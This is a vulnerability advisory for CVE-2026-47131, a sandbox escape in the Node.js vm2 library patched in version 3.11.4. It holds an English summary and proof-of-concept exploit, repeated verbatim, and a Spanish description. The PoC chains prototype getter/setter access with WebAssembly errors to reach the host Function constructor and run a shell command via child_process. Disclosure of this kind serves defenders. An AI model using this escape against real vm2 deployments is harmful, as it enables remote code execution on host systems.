CVE-2026-47131

### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE

### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE

vm2 es una vm/sandbox de código abierto para Node.js. Antes de la versión 3.11.4, al combinar Buffer.call.call({}.__lookupGetter__, Buffer, ’__proto__’), Buffer.call.call({}.__lookupSetter__, Buffer, ’__proto__’), y el Error ERR_INVALID_ARG_TYPE de Node.js, se puede obtener el constructor TypeError del host, lo que permite el escape de la sandbox. Esto permite a los atacantes ejecutar código arbitrario. Este problema ha sido parcheado en la versión 3.11.4.